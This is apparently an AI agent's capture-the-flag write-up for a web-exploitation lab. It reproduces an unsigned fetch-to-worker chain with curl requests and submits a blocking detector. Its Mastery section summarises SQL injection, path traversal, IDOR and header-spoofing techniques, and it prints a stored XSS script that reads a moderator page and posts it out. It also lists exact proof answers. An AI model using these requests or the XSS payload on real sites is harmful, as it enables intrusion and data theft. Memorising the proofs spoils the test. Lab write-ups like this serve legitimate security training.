Challenge ID: web-exploitation-day-31-full-stack-incident Solved: 2026-10-31 Prompt: “Reconstruct the unsigned fetch-to-worker incident from the request log. Follow the exposed service routes to reproduce it, inspect the resulting evidence, then submit a detector and repair that block the attack while preserving signed status checks.”
Result
All three requested modes completed with a CORRECT result from the Game Master:
| Mode | Answers | Timer |
|---|---|---|
| Single Solve | proof-1 | Untimed |
| Time Trial | proof-1 | The mode was started without run_for_time; deadline was null, so this was a regular untimed attempt |
| Mastery | proof-1 through proof-8 | deadline was null; regular untimed attempt |
The Time Trial label did not mean a clock was running. The Game Master guidance says a ranked timed attempt must be requested explicitly with run_for_time: true.
Single Solve: reconstructing the incident
The target exposed its own clues and request log. Those endpoints were the route map; the route names were randomized for this instance, so they should be read from /api/clues instead of guessed or hardcoded.
The clues identified an Actix Web service and supplied these fields:
feature_route:/dispatch-087881secondary_route:/audit-cd855dfinal_route:/worker-c5716brequest_log_route:/api/requestsevidence_route:/api/evidenceresponse_route:/api/responsefetch_query_field:targetevent_json_field:tokenworker_query_field:command
The request log showed the contrast the challenge was built around:
req101: signed fetch allowed forpublic-status.req102: unsigned fetch queued for internal target38fa9180e8d4.req103: signed fetch allowed forpublic-notes.
The unsigned queued entry supplied the target value for the route chain. The signed status request was the benign control that the repair needed to preserve.
Triggering the fetch-to-worker chain
First, the feature route created a fetch event for the queued target:
GET /dispatch-087881?target=38fa9180e8d4
It returned 202 with stage fetch_event_created. Calling the worker immediately at this point returned 403 worker_preconditions_missing. That response showed the fetch alone had not completed the dispatch path.
Next, the secondary route had to be called with the same target in the JSON token field:
POST /audit-cd855d
Content-Type: application/json
{"token":"38fa9180e8d4"}
It returned 202, listed status and cat <resource> as available commands, listed objective as a resource, and reported worker_dispatched.
Finally, I dispatched the worker with the objective read command:
POST /worker-c5716b?command=cat%20objective
Content-Type: application/json
{"token":"38fa9180e8d4"}
The service returned 202 unsigned_worker_dispatched. Reading /api/evidence then showed the unsigned worker event alongside the signed status activity and the queued unsigned fetch. This confirmed the complete chain: a queued internal fetch could be advanced through exposed routes into an unsigned worker action.
For this exact Single Solve instance, the requests can be reproduced against the assigned target root:
BASE='https://[per-team CTF host]/'
curl -sS "${BASE}api/clues"
curl -sS "${BASE}api/requests"
curl -i "${BASE}dispatch-087881?target=38fa9180e8d4"
curl -i -X POST "${BASE}audit-cd855d" \
-H 'Content-Type: application/json' \
--data '{"token":"38fa9180e8d4"}'
curl -i -X POST "${BASE}worker-c5716b?command=cat%20objective" \
-H 'Content-Type: application/json' \
--data '{"token":"38fa9180e8d4"}'
curl -sS "${BASE}api/evidence"
Detector and repair
The evidence response described the regression goal: detect unsigned worker dispatches, block internal fetches and unsigned events, and retain the signed status command. I submitted this configuration to /api/response:
{
"detector": {
"kind": "worker.dispatch",
"signed": false
},
"repair": {
"block_internal_fetch": true,
"require_signed_event": true,
"worker_allowlist": ["status"]
}
}
The service reported incident_detected_and_remediated. Every returned regression check was true:
attack_detectedbenign_status_excludedinternal_fetch_blockedstatus_still_allowedunsigned_event_rejected
That result verifies both sides of the fix: the unsigned dispatch was detected and blocked, and the signed status check continued to work. The exact proof returned by this instance and submitted as proof-1 was Proofproof_2896e5a1940843189a504f705e5f8603.
Time Trial
Time Trial used a fresh target and different randomized routes. Its clues named /submit-8eadf4 as the feature route, /internal-d2b4af as the secondary route, and /worker-3c92b4 as the worker route. The queued unsigned target was 74d786cb3a1e.
I repeated the same sequence: trigger the fetch, dispatch through the secondary route with the target in token, call the worker with command=cat objective, inspect evidence, then submit the same detector and repair. The regression checks passed and the Game Master returned CORRECT. The proof submitted under proof-1 was Proofproof_c1ff93b9d6794af6b84b9d746711b7b1.
As noted above, this attempt had run_for_time: false and no deadline. It solved the Time Trial mode but was not a timed leaderboard run.
Mastery
Mastery contained eight independent targets, each with an exact-text answer ID from proof-1 to proof-8. They were different web applications and vulnerability families; applying the Full Stack Incident route sequence to all eight would not work.
| Target | Method and evidence | Submitted answer |
|---|---|---|
| 1 — Service Postcard | The web solver battery followed the robots.txt disallowed directory, inspected its listing, and retrieved a linked .bak archive containing the proof (breach_archive_bak). | proof-1: Proofproof_e7130deada244c93966f72d40d16fb96 |
| 2 — Case Crate | The landing page established a case_session cookie. /api/timeline exposed case 10734 in an event marked outside the workspace and reference_only; fetching /api/incidents/10734 with the same session returned the restricted record and its proof. | proof-2: Proofproof_2cdd68f4857a4cf8b3891512c210ebac |
| 3 — Signal Shelf | The search form exposed a q parameter. The solver used a short SQL-injection payload ladder against the search endpoint and recovered the proof from a result (search_sqli). | proof-3: Proofproof_b05c7a371f724ad48d36c4d1d38ae6ff |
| 4 — Field Notes | The PHP document viewer accepted a document path. The solver tried traversal paths at increasing depths until the viewer returned a file containing the proof (lfi_viewer). | proof-4: Proofproof_38d443a8801c476ea90ad13f4488e9ed |
| 5 — Django Dispatch | The identity directory and feature clues exposed an identity-delegation path. The solver tried delegated identity values through common delegation headers until the application accepted one (pass_the_identity). | proof-5: Proofproof_f4ef52eb85ed4d1a84d762230b2424f6 |
| 6 — Reflect Upon This | The feature route reflected a marker in its preview. The audit route required a browser-style callback and the advertised nonce. Supplying the matching nonce with same-origin Origin, Referer, and Sec-Fetch-* headers returned the proof. | proof-6: Proofproof_2c881cdca5b54cd495375c11ce7a375c |
| 7 — Kind Regards | A stored feedback note ran in the authenticated moderator browser. The note read /moderator-2d958cdd and posted that same-origin response to the feedback evidence endpoint; the rendered moderator receipt contained the proof. | proof-7: Proofproof_3b69793886a34982b33fb60abc8f0c5b |
| 8 — Incident Atlas | This was another Actix unsigned fetch-to-worker incident, with fresh routes and target value 4d09867969a9. I followed its own clues through /inspect-875d90, /result-4e81ac, and /worker-945aec, inspected evidence, and applied the same detector and repair. | proof-8: Proofproof_17ce2a3244aa4555a3402352d24d7319 |
For Target 7, the stored same-origin callback was:
<script>(async()=>{const evidence=await fetch('/moderator-2d958cdd').then(r=>r.text());const m=location.pathname.match(/\/(?:feedback|_moderator\/[^/]+)\/(\d+)/);const id=m?m[1]:'2';await fetch('/api/feedback/'+id+'/evidence-30e341',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({evidence})});})();</script>
The script only read the challenge’s moderator route and posted the result back to its challenge evidence route. The moderator receipt exposed the proof as intended by the exercise.
The local runner trace for Targets 1, 3, 4, and 5 records the technique family, but not the individual request that won. The descriptions in those rows explain the family’s approach; they do not claim a specific payload was the successful one. For the other targets, the request and response details above were observed while working the assigned instances.
The first automated pass recovered four answers and submitted them, which the Game Master accepted as partial progress. I then solved the four remaining targets, submitted their exact proof IDs, and the Mastery attempt completed with CORRECT.
What made the run slower, and a faster approach
- Use the exact challenge and assigned target URLs. The initial broad challenge listing produced irrelevant output. A filtered lookup for the requested challenge, followed by a start/resume of that exact ID, keeps the working set small. For Game Master requests, the Homebase proxy is the supported path.
- Read
/api/cluesand the request log before probing. These gave the dynamic route names, parameter names, and the unsigned target directly. That is faster and more reliable than route guessing or path scanning. - Follow the route prerequisites in order. The worker returned
worker_preconditions_missinguntil the secondary route was called with the matching target token. Once the error showed the missing stage, the clue-defined sequence was straightforward. - Inspect evidence before configuring the response. The evidence endpoint stated the detector and regression requirements. Submitting the detector and repair together then produced a direct, machine-readable pass/fail result for each required behavior.
- Do not run a broad solver battery against a well-described custom workflow. The generic recon and expanded battery did not solve Single Solve or Time Trial. For those targets, reading the clues and request log was the useful method. The battery did help identify four familiar Mastery families, so it was useful as a fallback for the heterogeneous bundle.
- Classify Mastery targets before applying a workflow. My first attempt assumed the same Full Stack routes would exist on all eight targets and failed immediately on the first unrelated app. Checking each app’s title, clues, and exposed API first would avoid those wasted requests.
- Keep one cookie-aware session per target. Case Crate set its session on the landing page, so the timeline and incident requests needed the same cookie jar. Independent target sessions also prevent one target’s cookies from contaminating another.
- Wait for the full assignment before dispatching workers. The first Mastery start response did not yet contain the ready target list. Resuming/polling until
targets[]was populated avoided guessing which apps or answer IDs were assigned. - Collect all answers, then submit them together. Mastery allowed one batch request for all eight small proof strings. I submitted four first and completed the other four later; gathering the unresolved proofs before submission would have reduced the submission round trips.
- Request a timed attempt explicitly when the goal is a timed score. The Time Trial and Mastery runs here were regular untimed attempts (
run_for_time: false,deadline: null). A ranked speed run needs a fresh start requested withrun_for_time: true.
Final status
The Game Master accepted the Single Solve proof, the Time Trial proof, and all eight Mastery proofs. No challenge flag is included here; the write-up records the submitted proof values and the observed solve methods.
Local evidence for the automated portion is under:
web-runs/proxy/homebase/web-exploitation-day-31-full-stack-incident/